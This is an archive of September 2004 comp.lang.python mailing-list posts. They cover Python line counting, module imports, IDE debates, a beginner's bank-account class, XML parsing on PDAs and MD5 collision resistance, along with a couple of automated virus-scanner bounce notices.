Wed, 22 Sep 2004 21:17:01 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> <414eda06$0$26379$ba624c82@nntp02.dk.telia.net> <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com> Message-ID: <1gkj8o5.6hyq401tjszrpN%aleaxit@yahoo.com> Bengt Richter wrote: ... > >memory at once. If you must be able to deal with humungoug files, too > >big to fit in memory at once, try something like: > > > >numlines = 0 > >for line in open('text.txt'): numlines += 1 > > I don't have 2.4 2.4a3 is freely available for download and everybody's _encouraged_ to download it and try it out -- come on, don't be the last one to!-) > but how would that compare with a generator expression like (untested) > > sum(1 for line in open('text.txt')) > > or, if you _are_ willing to read in the whole file, > > open('text.txt').read().count('\n') I'm not on the same machine as when I ran the other timing measurements (including pyrex &c) but here's the results on this one machine...: $ wc /usr/share/dict/words 234937 234937 2486825 /usr/share/dict/words $ python2.4 ~/cb/timeit.py "numlines=0 for line in file('/usr/share/dict/words'): numlines+=1" 10 loops, best of 3: 3.08e+05 usec per loop $ python2.4 ~/cb/timeit.py "file('/usr/share/dict/words').read().count('\n')" 10 loops, best of 3: 2.72e+05 usec per loop $ python2.4 ~/cb/timeit.py "len(file('/usr/share/dict/words').readlines())" 10 loops, best of 3: 3.25e+05 usec per loop $ python2.4 ~/cb/timeit.py "sum(1 for line in file('/usr/share/dict/words'))" 10 loops, best of 3: 4.42e+05 usec per loop Last but not least...: $ python2.4 ~/cb/timeit.py -s'import cou' "cou.cou(file('/usr/share/dict/words'))" 10 loops, best of 3: 2.05e+05 usec per loop where cou.pyx is the pyrex program I've already shown on the other subthread. Using the count.c I've also shown takes 2.03e+05 usec. (Can't try psyco here, not an intel-like cpu). Summary: "sum(1 for ...)" is no speed daemon; the plain loop is best among the pure-python approaches for files that can't fit in memory. If the file DOES fit in memory, read().count('\n') is faster, but len(...readlines()) is slower. Pyrex rocks, essentially removing the need for C-coded extensions (less than a 1% advantage) -- and so does psyco, but not if you're using a Mac (quick, somebody gift Armin Rigo with a Mac before it's too late...!!!). Alex From ajsiegel at optonline.com Sun Sep 5 08:54:11 2004 From: ajsiegel at optonline.com (Arthur) Date: Sun, 05 Sep 2004 12:54:11 GMT Subject: Are decorators really that different from metaclasses... References: <10jcsuh7k4bfl41@corp.supernews.com> <10jeuh7o69surc0@corp.supernews.com> Message-ID: "Jeff Shannon" wrote in message news:10jeuh7o69surc0 at corp.supernews.com... > Arthur wrote: > > >"Jeff Shannon" wrote in message > >news:10jcsuh7k4bfl41 at corp.supernews.com... > > > > > >>(I'm sure that you'll argue that the presence of those "magic" variables > >>is enough distinction between the two radically-different blocks of > >>code; I'm also pretty confident that very few people will agree with > >>you, and that nobody with a reasonable understanding of Python internals > >>will be among those few people.) > >> > >> > > > >It seems to me if the defining distinction is a different assignment > >operator rather than magic associated with naming, then much of objections I > >am hearing to what Paul is generally suggesting seems to fall away. > > > >I like what Paul Rubin suggested for decorators: > > > >:: > > > >It seemed to me that many folks, and certainly including some sophisticated > >users - witness the decorator wiki - felt more than comfortable with some > >declarative/definitional syntax within the function body. The discussion > >was stalled mostly by the realization that Guido had definitively ruled it > >out, not on the basis that there was general concensus that the approach had > >no appeal - intuitive and otherwise. > > > > > > I agree with what Paul Rubin says there, as well. However, I don't > believe that he was considering syntax that *looks* like > otherwise-ordinary assignment to "magic" names, which are indicated only > by naming convention. I can't speak for Paul. Having just done some experimentation with overriding "magic" class methods - __copy__, specifically - I realize that *my* problem in misunderstanding what: __name__ = "Callable_Name" within the function body would accomplish is in having thought by analogy between this and overriding a "magic" method within a class definition. An elementatry mistake, on one hand. Though I think a naive view that being able to work within the langauge by drawing on these kinds of analogies would - ideally - not lead one off a cliff. That to me is almost the definition of intuitive. Unfortunately what is intutive, naively, might be anti-intuitive, less naively. Which is I guess what we have here. I can't help thinking that within my own conception of what Python tries to accomplish, such circumstances are in some sense a (perhaps unavoidable) wart. And Python succeeds to the the extent that my (more naive) intuitions and your (more educated) intuitions do not lead us to different results. And I think Python does generally succeed quite well in this regard. But not always. Art From bsmatt at gmail.com Sun Sep 19 14:17:52 2004 From: bsmatt at gmail.com (bmatt) Date: 19 Sep 2004 11:17:52 -0700 Subject: Importing a String as a Module Message-ID: Hello All, I would like to import an internal string as a module into the python interpreter. Unfortunately it looks like all of the PyImport functions only take a module name and load the module from the .py file. Is there a way to import a module from a string (similar to the way the PyRun_String function works)? I have tried to use the PyRun_String function and then use PyImport_AddModule but it doesn't look like the things defined in the string are in the module dictionary. Thanks From godoy at ieee.org Wed Sep 22 16:40:43 2004 From: godoy at ieee.org (Jorge Godoy) Date: Wed, 22 Sep 2004 17:40:43 -0300 Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> <0f71l09s44fu9rtg6lrte3qeicgu40off1@4ax.com> Message-ID: Jarek Zgoda writes: > I love Delphi, 5 days a week, 9:00-17:30, but I don't want Python to be > bound to one platform, as Delphi is (no, Kylix is not an answer, it's a > disaster). I'm really happy (and productive) using wx on Windows and > PyQt on linux, with wxGlade and Qt Designer as GUI designers. There's > only one thing from Delphi I'd like to see in other IDE's -- its > integrated debugging is great. Eclipse (w. Java) has very similar model > of debugger integration. A friend of mine -- actually a business partner -- that comes from a world like yours is loving to work with Python since I convinced him about it. One thing that he always complain about is the absence of components like TDatabase, TQuery, TDBEdit, TDBGrid, etc. (He's being a DBA for the last 20+ years --- where the '+' probably means more 5 or 6 years ;-D) What are you using to replace those in your wxPython apps? I really don't know them and I am not being able to help him with that. I've seen, though, the wxODBC family but he always tells me that there are several penalties in performance for not using the native drivers in critical applications... What is your opinion about it? Be seeing you, -- Godoy. From sdeibel at wingware.com Mon Sep 27 22:38:11 2004 From: sdeibel at wingware.com (Stephan Deibel) Date: Mon, 27 Sep 2004 22:38:11 -0400 (EDT) Subject: False exceptions?" (was Re: theme of the week: tools Message-ID: Hi, I'm the dope that co-wrote this thing, so here's the technical background: The "false exceptions" thing is a technical limitation of detecting whether or not an exception is going to lead to program termination at the moment it is raised, rather than later when exiting the program. We go up the stack to inspect Python byte code, and since we can't see into C/C++ object code we sometimes get it wrong. We call it a "false positive" because it's the same as a blood test telling you you've got something that you don't. Believe it or not, we were not just being dumb: We weighed having a necessarily imperfect but useful feature with not having the feature at all. Same as having an imperfect blood test rather than not at all. In fact, from feedback, it seems most people agree that ignoring a few exceptions during the first debug run is worth always being able to inspect the unaltered program state seen immediately at the moment the exception is raised (before, e.g., 'finally' clauses are executed). That's why it's on by default, but can be turned off in prefs. Maybe we got that wrong, but I dunno... the people we hear from may not represent the overall experience. Dan Perl wrote: > No, this is NOT a "useful exception related feature", it's a workaround > for a bug. I think I'd have to agree that the paragraph you cited muddles up the utility of ignoring exceptions with under-explaining the false positives. The feature is not just there as a workaround but it's probably fair to say that's 99% of what it's used for. Sorry about that. BTW, the 10 day trial can be renewed automatically. Then if you run out, just ask for more time. No problem. Deciding the duration of trials is a nasty business decision that's not easy to make. I can't really make excuses -- it's just how it is right now. Stephan Deibel -- Wingware Wing IDE for Python Advancing Software Development www.wingware.com From p at trick.lu Fri Sep 10 15:28:16 2004 From: p at trick.lu (Patrick Useldinger) Date: Fri, 10 Sep 2004 21:28:16 +0200 Subject: scripting a web site w/Javascript Message-ID: <41420050$1@news.vo.lu> Hi all, I would like to script a specific website. I've had a start with httplib, but now I need to push a button () that triggers a Javascript function and then directs to some URL. Obviously, I cannot just go to the URL because the function would not get executed. Can something like this be done via httplib? If not, is there a library available to do it? I would like to avoid scripting a browser (in this case, this would be IE 5.5 or IE 6 on a windows box). I'd be more than happy for ideas. Regards, -pu -- Linux user # 359658 From grante at visi.com Thu Sep 2 22:24:23 2004 From: grante at visi.com (Grant Edwards) Date: 03 Sep 2004 02:24:23 GMT Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> Message-ID: <4137d5d7$0$67058$a1866201@newsreader.visi.com> On 2004-09-03, Tim Peters wrote: > [Grant Edwards] >> ... >> Apparently, the file descriptor you get from a socket object >> under Win32 can't be used with os.read() and os.write()? I >> couldn't find anywhere in the docs that said so, but I sure >> couldn't get it to work. At least not under WinMe. > > Socket handles and file descriptors are disjoint concepts in Windows > (any flavor), and aren't interchangeable in any context. I think I knew that at one time. IIRC, Windows was so far behind the curve when it came to networking that TCP/IP was implimented by the third-party "WinSock" library duct-taped onto the side of Windows. Surely MS must have added real networking support to the OS itself eventually? -- Grant Edwards grante Yow! Jesuit priests are at DATING CAREER DIPLOMATS!! visi.com From P at draigBrady.com Thu Sep 2 09:10:51 2004 From: P at draigBrady.com (P at draigBrady.com) Date: Thu, 02 Sep 2004 14:10:51 +0100 Subject: HOWTO: Set Main Application Font in PyGTK In-Reply-To: <25d8d6a8.0409011731.2078f58b@posting.google.com> References: <25d8d6a8.0409011731.2078f58b@posting.google.com> Message-ID: <41371BDB.4080706@draigBrady.com> Google Mike wrote: > if anyone knows how to change the > font and size on a single radio button in PyGTK, I welcome the > suggestion. I don't think it can be done. You have read section 4 of the FAQ haven't you? http://www.async.com.br/faq/pygtk/index.py?req=index P?draig. From aleaxit at yahoo.com Fri Sep 3 02:11:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 08:11:36 +0200 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <7Y2dncuabfymLajcRVn-gw@powergate.ca> <1iok6gznts9ad.ch1w241kak6y.dlg@40tude.net> Message-ID: <1gjicas.43o0lh1vo2fnaN%aleaxit@yahoo.com> Mark Hahn wrote: ... > >> It turns out that I missed a sourceforge project called PyCs so we will be > >> changing our name soon. Our current best guess is Pyxc pronounced Pixie. > > > > http://pyxie.sourceforge.net/ > > > > Best to avoid homonyms too, I think. Try again. > > I see no problem with homonyms, unless it was another computer language. I do, because often people speak about technologies in contexts that doesn't make it clear at all whether one is speaking about a computer language or some other kind of technology. I applaud your efforts (differently from many around here who seem to sneer at them), even though I'm not going to get involved (no version of dotNet's CLR runs on the Mac, I believe, so I'm not very interested in anything that requires the CLR). But I do believe you CAN do much better than this in terms of naming. Personally, I would suggest giving up on 'py' being part of the language name. I would start with some cool, easily recognizable monosyllable, such as quark, cool, cold, dark, hot, damp, dry, fool, wise, &c -- then alter it minimally until the result gets 0 google hits (quarky, ecool, kold, darc -- you get the idea of the kind of alterations I have in mind). Then grab the domain and go on from there. You can always retrofit an acronym onto a cool name if that's your game, after all. Alex From jarrodhroberson at yahoo.com Mon Sep 20 18:40:59 2004 From: jarrodhroberson at yahoo.com (Y2KYZFR1) Date: 20 Sep 2004 15:40:59 -0700 Subject: python is going to die! =( References: Message-ID: julio wrote in message news:... > Sorry but there is no another way, c# .net and mono are going to rip > python, not because python is a bad lenguage, but because is to darn old > and it refuses to innovate things, to fix wrong things, just because > retarded backwards compatibility and because the python comunity and > developers refuses to consider tools as being almost as important as the > language itself. > > What does c# .net has that python doesnt ? (significant features) > > -- tools,tools,tools : have people that likes python ever used an ide? i > mean a good ide, the one that saves you a lot of time, and makes you > productive. > > looks like they havent, they think new people is willing to practice emacs > for 6 months before even thinking about being productive, not to mention > you have to learn 20 years old list, and low level c stuff to have fully > advantage. Those guys are realy happy with their stuff that totaly, > completly refuses to try a new tool, a new tool that 'is' better, like say, > an ide??. > > Then we have the , you just need a text editor. This is realy amazing, > tecnology improves, people have to change their way of thinking, i realy > cant count the number of text editors avaiable for python, with basicaly > just syntax highlighting.For example, idle : > > idle is just a text editor with syntax color,nothing else, then you see > that half of buttons are so fucking retarded things that you never > need,indentation stuff, replace tabs and all crap that you never realy > need, the class browser and path browser were in the right way, before they > got abandoned with just the most basic low functionality. > > No help in real programing? why? why do i need to press a retarded button > to indent-deindent reindent stuff but i dont need help with integrated help > system , code completion , source assistant , a freaking decent calltips > support, etc ? It realy makes no sense , no sense at all. > > Why do these people keep reinventing text editors again and again and again > to just add some retarded functionality that noone ever needs? pycrust , > drpython, leo , idle , eclipse plugins(py editors with color) they all love > to reinvent the wheel instead of trying to work together on some common > project to do something usefull, boy if i want a text editor with syntax > color i just use vim,or kate or something. > > For the C # Side there IS : > > sharp develop, wich is going to be ported to linux and mac, and it is even > better than vstudio! is open source . > > monodevelop , which is a little inestable but very very usable , and has > real features!! proyect browsing , full calltips ,code completion,source > help, doc help system , you know , productivity features. > > > -- C # is almost perfetly designed, python is very well designed but it has > some crap that obscurize it and is not going to be removed because of the > damn backwards compatibility thing, C # has all the advantages there is > new ,it has learned from other languages mistakes. Python must break > backward compatibility to be at the same level of play. > At least python has just a few problems in this area compared to java,which > is 50% crap , just to hold backwards compatibility. > > -- C # is easy to use,fast apps coding (as python) but!! it has all the > advantages of a compiled language , like less bugs concerning silly types > mistakes , ides and tools can take much much more advantage of static > typing , it is much much much faster , and finally is much more readable > than python since i dont have to be guessing in the woods to know what type > of value a function return , or what types are the functions argument or > WTF does 'return MOM' means? > > -- C # is killing python, first the gnome guys dont know what to choose for > their core system development , if mono-C # ? or java ? the only reason C # > hasnt being choosen is because of legal issues, and java? well it realy > sucks so no surprise , but is considered just because eclipse wich is the > most kick ass ide ever. AND they dont even consider python for a high level > language to choose!! > > Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects > and C# is much younger than python, not to mention mono is new!! 2 times > more C # proyects are started than python proyects by month, so very soon > C# is going to completly replace python in their areas. Not to mention that > C# proyects are generaly bigger, compared to small command line tools, > python proyects. > > I think is a fact, reality , there is just no way python is going to > survive, i would be happy if someone knows or see something i dont , > because i realy like python, but : C # which has all the m$ licenses and > crap involved is so superior to python in so many ways, its not even > funny,and C# has serius tools, ides ,etc. Look at > nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW > wingware has a very nice ide, but close sourced and at a price of 200$ for > os is ridiculous,and their personal edition is pure crap, no > code-assistant ? lol. Is there a posibility python survives 2 years more at > least? > > Btw , nice quotes on python site : "Python has been an important part of > Google since the beginning, and remains so as the system grows and evolves. > Today dozens of Google engineers use Python, and we're looking for more > people with skills in this language." said Peter Norvig, director of search > quality at Google, Inc. > > But the google code jam, the one google searchs for new hackers to join > their lines is only for c# , java , c++ , nice irony , lie,lie. funny thing is the more people write to "prove" their opinions are right they more they usually prove their OPINIONS can be safely IGNORED. I don't even need to read any of the follow up posts, this guy completely discredits himself with almost every uni-informed, uni-educated sentence he wrote better than anyone else could. :-) From georgeplex at yahoo.com Sat Sep 11 07:32:13 2004 From: georgeplex at yahoo.com (George P) Date: 11 Sep 2004 04:32:13 -0700 Subject: package module import name clash with global package References: <1gjx9y3.85025t5mpy3hN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) wrote in message news:<1gjx9y3.85025t5mpy3hN%aleaxit at yahoo.com>... > George P wrote: > ... > > a) Not use os as my submodule name > > Best. > > > a) is not a perfect solution because, well, in my example I've used > > "os" to illustrate the problem, but really, who's to predict what > > global modules might be installed on a system? And besides, isn't this > > As long as your package does not use global modulenames coinciding with > the ones it contains, you're fine. You don't need to predict anything: > if your package needs global modules os, sys, and re, don't have modules > named that way in your package. Simple, innit? > > > Alex Not all that simple. Let's say I give my submodule some fairly generic name like utils. I would think that was fine because my module is really mypkg.utils. But then someone out in the rest of the python universe creates a package called utils and that eventually becomes standard and gets installed on all systems. Then if I wanted to access it within my module, I would have a problem. The problem is easily overcome in my code - all I'd have to do is to rename my module to myutils or something, but if any other code has been written that relied on my package and imported mypkg.util, they'd suddenly stop working with the new release that has the module renamed to mypkg.myutil. I'm not saying that these aren't insurmountable problems, I'm just looking for a better solution. In C++, I would be able to refer to the global utils in my code as ::utils, and there would be no more problems. Does anyone know of a similar workaround in python? George From aleaxit at yahoo.com Thu Sep 9 18:20:24 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 00:20:24 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> Message-ID: <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> Diez B. Roggisch wrote: ... > map2 = dict(map.items() + [(str(i), v) for i, v in enumerate(vals)]) An equivalent ctor call that's slightly better, IMHO: map2 = dict([ (str(i),v) for i,v in enumerate(vals) ], **map) Don't ignore the power of dict's keyword arguments... > Not perfect, but IMHO better than your eval-based solution. I agree, mine is just a tiny improvement on your post, IMHO. Alex From aleaxit at yahoo.com Wed Sep 29 13:16:36 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 29 Sep 2004 19:16:36 +0200 Subject: all pairs of items in a list without indexing? References: <1gkvo41.aiv2zs4vw5qsN%aleaxit@yahoo.com> Message-ID: <1gkw2pw.erg9qm17hd88gN%aleaxit@yahoo.com> Steven Bethard wrote: > > > but that seems like a lot of wasteful list slicing... > > > > Sorry, I don't get it: what's wasteful about it? > > Sorry, perhaps I should have said it has a bad smell. I wasn't the only one > who thought this smelled a little bad; quoting Jeff: > > "Something about taking a slice of seq for the inner loop doesn't seem right > to me." > > Maybe we need to retrain our noses. ;) Hmmm, I see (or should I say, I sniff). Perhaps a Numeric.array, where slices share slots rather than making new slots, would smell better and might indeed perform faster here. But the comparison is with index loops on xrange(i,len(l)), which is hardly Chanel N. 5 either...;-). Alex From thomas.lotze at gmx.net Wed Sep 15 03:02:43 2004 From: thomas.lotze at gmx.net (Thomas Lotze) Date: Wed, 15 Sep 2004 09:02:43 +0200 Subject: codecs: counting StreamWriter output Message-ID: Hi, is there an easy/a preferred way to find out how many bytes a StreamWriter writes to its output stream when given an object to encode? Thanks. -- Viele Gr??e, Thomas From jeffrey at fro.man Sat Sep 18 12:05:16 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Sat, 18 Sep 2004 09:05:16 -0700 Subject: New Programmer and Python References: <_NidnfFXMMGVyNHcRVn-hg@comcast.com> Message-ID: <10kon5v997m220@corp.supernews.com> PMD96 wrote: > I'm new to programming and have been recommended to start with Python.? > I've reviewed the tutorial and am looking for additional learning tools to > learn programming and Python.??Any?recommendations? Here's a good read: http://www.ibiblio.org/obp/thinkCSpy/ Another recommendation is to fire up the interactive interpreter, and start experimenting. Have fun, Jeffrey From nid_oizo at yahoo.com_remove_the_ Tue Sep 7 14:18:31 2004 From: nid_oizo at yahoo.com_remove_the_ (Nicolas Fleury) Date: Tue, 07 Sep 2004 14:18:31 -0400 Subject: glossary wiki In-Reply-To: References: Message-ID: Brian van den Broek wrote: > So please, if anyone has an interest in keeping a good glossary up to > date, surf by http://manatee.mojam.com/python-glossary and heal my > errors or extend the glossary yourself. I guess it would be nice to put this glossary on http://www.python.org/moin/. Regards, Nicolas From jozefiak at ksa-hamm.de Tue Sep 7 12:19:05 2004 From: jozefiak at ksa-hamm.de (jozefiak at ksa-hamm.de) Date: 7 Sep 2004 16:19:05 -0000 Subject: Your details Message-ID: <20040907161905.27031.qmail@server056.de-nserver.de> Our virus scanner has detected that your E-Mail to "jozefiak at ksa-hamm.de" subject " Re: Your details" was not clean. The following files were infected: your_details.pif: Worm.SomeFool.Gen-1 The Virus Scanner From usenet_spam at janc.invalid Thu Sep 2 19:01:34 2004 From: usenet_spam at janc.invalid (JanC) Date: Thu, 02 Sep 2004 23:01:34 GMT Subject: "Content-Length" header References: <96c2e938.0408302057.61df147b@posting.google.com> <0LadnRdAsPfbWKncRVn-ug@powergate.ca> <4135F4AD.5030906@holdenweb.com> Message-ID: Steve Holden schreef: > Billiards, not to be confused with snooker, I think "billiards" includes snooker & pool, the European style games that are played on a table without pockets, and several other similar games. -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From peter at engcorp.com Tue Sep 21 16:30:24 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 16:30:24 -0400 Subject: python ides In-Reply-To: <2rbgq9F16q2g8U2@uni-berlin.de> References: <41507c8f$0$25693$636a15ce@news.free.fr> <2rbgq9F16q2g8U2@uni-berlin.de> Message-ID: Daniel Ellison wrote: > Peter Hansen wrote: >> -this-thread-was-really-about-the-ides-of-python-ly y'rs, > > Ah, but this issue does bring into question the integrity of the OP and > the resulting validity of his opinions... Dang! I was sure you would get the "The Ides of Python" bit... Sorry, I know it's not the 13th of the month, so maybe it wasn't an obvious pun to (try to) make. -Peter From gerrit at nl.linux.org Tue Sep 7 08:50:48 2004 From: gerrit at nl.linux.org (Gerrit) Date: Tue, 7 Sep 2004 14:50:48 +0200 Subject: age of Python programmers In-Reply-To: <4edc17eb.0409042048.3a9ed856@posting.google.com> References: <889cbba0.0408181206.1812881c@posting.google.com> <6amZc.17353$ni.8118@okepread01> <4edc17eb.0409042048.3a9ed856@posting.google.com> Message-ID: <20040907125048.GA21807@nl.linux.org> Michele Simionato wrote: > Gerrit wrote in message news:... > > > > I'm 19, and I started with Python when I were 13, in December 1998. > > Don't you think it is vaste of your time? I thought you wanted to do > something serious, such as Math or Physics. You will end up in any > case as a programmer :) but at least you will learn something in the > process. I am not sure whether I understand you fully correctly, but OK. I am doing something useful, namely Physics. I changed my mind when I first bought a book about "computer science", which I found quite dull (it was about the theory of Operating Systems). But thanks for your concern of my future ;-). yours, Gerrit, 2nd year Physics student who learn Fourier this morning, and loves it. -- Weather in Twenthe, Netherlands 07/09 10:25: 19.0?C Clear sky clear wind 3.1 m/s NE (57 m above NAP) -- Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From tchur at optushome.com.au Mon Sep 13 05:03:47 2004 From: tchur at optushome.com.au (Tim Churches) Date: 13 Sep 2004 19:03:47 +1000 Subject: MD5 and SHA cracked/broken... In-Reply-To: References: <7xacvuyjfn.fsf@ruckus.brouhaha.com> <7xzn3udfsg.fsf@ruckus.brouhaha.com> Message-ID: <1095066227.1230.6.camel@emilio> On Mon, 2004-09-13 at 13:16, Sam Holden wrote: > On 12 Sep 2004 20:11:11 -0700, Paul Rubin <> wrote: > > Sam Holden writes: > >> Creating a collision between a "useful" file which people can > >> examine and use and a "trojan" file which does "bad things" is > >> significantly more difficult than creating two files whose > >> MD5 sums collide but whose contents are essentially "random". > > > > Of course it's not. Just have a block of random-looking data > > somewhere in the file, like in a bitmap image or something. Who's > > going to notice, if the bitmap doesn't actually get displayed? > > Creating a collision of files containing some desired data plus a block > of "random" data is different than creating collisions of files that > contain purely "random" data. Yes, that's difference between 2nd preimage resistance and collision resistance. I am told by cryptographers that the recently reported attacks against SHA only relate to its collision resistance, not its 2nd preimage resistance. -- Tim C PGP/GnuPG Key 1024D/EAF993D0 available from keyservers everywhere or at http://members.optushome.com.au/tchur/pubkey.asc Key fingerprint = 8C22 BF76 33BA B3B5 1D5B EB37 7891 46A9 EAF9 93D0 From WebShield at mapleleaf.ca Fri Sep 10 11:39:56 2004 From: WebShield at mapleleaf.ca (WebShield at mapleleaf.ca) Date: Fri Sep 10 11:39:56 2004 Subject: Network Associates Webshield - e-mail Content Alert Message-ID: <20040910153826.C3F0E1E4010@bag.python.org> Network Associates WebShield SMTP V4.5 MR1a P0803.345 on camisowa1mfc intercepted a mail from which caused the Content Filter SCR files to be triggered. From aleaxit at yahoo.com Wed Sep 8 12:34:11 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 18:34:11 +0200 Subject: Using Python to generate code? References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> Message-ID: <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> Alexis Roda wrote: ... > > Yep, though output.replace(...) would be neater. But the best > > replacement is already in the Python 2.4 standard library: it uses > > exactly the $identifier convention, and takes a dictionary of mapping of > > identifier to string...: ... > > In [6]: tpl % dict(VAR='fee', START='fie', END='fofum') > > Out[6]: u'for (fee = 1, fee < fie, fee < fofum)' > > If you are not contrained to using $ identifiers: > > d={'var':'foo', 'start':1, 'end': 100} > 'for (%(var)s = %(start)i; %(var)s < %(end)i; %(var)s++)' % d yeah, but the template string for this long-standing Python feature is hard to read and hard to write, which is why 2.4 finally grew a simpler approach -- the string.Template class. Alex From me at privacy.net Tue Sep 21 20:22:03 2004 From: me at privacy.net (Dan Sommers) Date: 21 Sep 2004 20:22:03 -0400 Subject: [offtopic] C programming newsgroup References: <414db89e$0$15754$7a628cd7@news.club-internet.fr> <414dba74$0$62444$a1866201@newsreader.visi.com> <415079b1$1@nntp0.pdx.net> Message-ID: On Tue, 21 Sep 2004 11:38:47 -0700, Scott David Daniels wrote: > Cameron Laird wrote: >> ... even *mention* > of "C/C++" seems capable of inciting lawsuits >> over there. > I couldn't pass this up: > Generally the answer is 1 for integer types and 1.0 for floating point > types. However, you can run into troubles dividing by 0. > { int C = 5; printf('int: C/C++ = %d', C/C++); } > { double C = 3.1415; printf('double: C/C++ = %d', C/C++); } > ... I'm pretty sure that "C/C++" invokes the dreaded Undefined Behavior, so all bets are off. The folks in comp.std.c will have more details. Regards, Dan -- Dan Sommers Never play leapfrog with a unicorn. From alexander.hoffmann at netgenius.de Wed Sep 8 15:01:49 2004 From: alexander.hoffmann at netgenius.de (Alexander Hoffmann) Date: Wed, 8 Sep 2004 21:01:49 +0200 Subject: writing a class In-Reply-To: <29179565.0409081015.5c7a8e9d@posting.google.com> References: <29179565.0409071136.4147591f@posting.google.com> <29179565.0409081015.5c7a8e9d@posting.google.com> Message-ID: <200409082101.49892.alexander.hoffmann@netgenius.de> On Wednesday 08 September 2004 20:15, Crypt Keeper wrote: > It's a simple bank-type transaction program. User needs to input > initial starting balance, amount of deposits, amount of withdrawals. > Program needs to do the appropriate math and return status update > showing new balance, total deposits and total withdrawals. > > I keep coming up with 2 different results...1 returns an error message > and the other finishes the program but the mathmematics is wrong (it > does not compute deposits and withdrawlas. It only returns intial > balance as new balance.) > > Code for error message return is: > > (formal code) > from Account import Account > from datetime import date > > a = Account() > now = date.today() > > print "As of",now,"balance is $",a.getbalance() > > (class code) > class Account: > > def __init__(self, initial): > self.balance = initial > def deposit(self, amt): > self.balance = balance + amt > def withdraw(new, amt): > self.balance = balance - amt > def getbalance(self): > return self.balance > > Error message that gets returned is: > > Traceback (most recent call last): > File "C:\Python23\Module1a.py", line 4, in -toplevel- > a = Account() > TypeError: __init__() takes exactly 2 arguments (1 given) This one is simple: the constructor of your class Account takes two arguments ("def __init__(self, initial):"). In object oriented Python programming the first parameter is always implicitly given to a method (it's a reference to the actual instance called "self"). That means by typing "a = Account ()" you do indirectly call "Account.__init__ (self)". Here the second param "initial" is missing, e.g.: a = Account (0) > > > The code that returns new balance only is: > > (class code) > class Account: > > def __init__(self, balance): > self.balance = balance > def deposit(self, deposit): > self.balance = self.balance + deposit > def withdraw(self, withdraw): > self.balance = self.balance - withdraw > def getbalance(self, balance): > self.balance = bal + deposit - withdraw > return self.balance > > (formal code) > from account1a import Account > from datetime import date > > now = date.today() > > a = Account() > > bal = input("Enter amount of starting balance: $") > dpst = input("Enter amount of deposit: $") > wdrw = input("Enter amount of withdrawal: $") > > print "As of",now,"balance is $",a.getbalance() > This piece of code looks very strange to me. Please don't misunderstand, but I recommend you to gain more information about object oriented programming. I would guess that the getbalance method returns the actual balance. So it should not need any parameter (besides "self") and it could look like: def getbalance(self): return self.balance Your implementation ignores the given parameter "balance", instead it tries to compute something with values that do not exist. If you mean to use the variables from outside the class/instance you would need to add "global deposit, withdraw". Anyway my recommendation is not to that, because this would not be "nice OO programming". I suggest something like the following lines (written from scratch, untested): class Account: def __init__(self, balance=0): # make the initial balance optional, now you can call either a = Account (42) or simply a=Account () which sets the initial balance to 0 self.balance = balance def deposit(self, deposit): self.balance = self.balance + deposit def withdraw(self, withdraw): self.balance = self.balance - withdraw def getbalance(self): return self.balance from account import Account from datetime import date bal = input("Enter amount of starting balance: $") a = Account (bal) dpst = input("Enter amount of deposit: $") a.deposit (dpst) wdrw = input("Enter amount of withdrawal: $") a.withdraw (wdrw) print "As of %s balance is $%f" % (date.today(), a.getbalance()) -Alex > Appreciate all the assistance I might get. > > > > > > > > "Larry Bates" wrote in message > news:... > > > You really should post what you have tried and > > any traceback error messages of things that didn't > > work. A little background explanation of what you > > are trying to do would also be nice. It's impossible > > for us to venture a guess as to what you might be > > doing wrong or to suggest a methodology without this > > information. > > > > Regards, > > Larry Bates > > Syscon, Inc. > > > > "Crypt Keeper" wrote in message > > news:29179565.0409071136.4147591f at posting.google.com... > > > > > I am trying to write a program that asks user for several input items, > > > then takes those items into a class that will manipulate the data and > > > then return a line of output. I am able to input the reuired > > > information, but it's the in-class processing and output line that > > > keeps messing up somehow. I have tried tinkering and tweaking but with > > > no success. > > > > > > How can I take data from the user, manipulate it through a class of > > > steps and then output it all into a line of output? > > > > > > Thanks!! From richie at entrian.com Tue Sep 7 07:52:54 2004 From: richie at entrian.com (Richie Hindle) Date: Tue, 07 Sep 2004 12:52:54 +0100 Subject: python from Java In-Reply-To: <1094551272.413d86e88ab2a@www-mail.usyd.edu.au> References: <1094551272.413d86e88ab2a@www-mail.usyd.edu.au> Message-ID: [Ajay] > [...] the problem is an XML > parser which works on a PDA - pythonce. Now elementtree uses pyexpat > (which pythonce doesn't have), objectify just needs expat which i dont > have either and anobind needs 4Suite - there is no port for it to a PDA. > so i am back to where i was earlier. > looking for a reasonably fast and efficient xml parser that works on a PDA > (DOM or SAX, i dont care) Try Beautiful Soup: http://www.crummy.com/software/BeautifulSoup/ (you'll want the BeautifulStoneSoup parser). I don't know whether it's fast or efficient, but it's pure Python so it should run in your environment. -- Richie Hindle richie at entrian.com From aleaxit at yahoo.com Fri Sep 10 05:40:41 2004 From: aleaxit at yahoo.com (Alex Martelli) 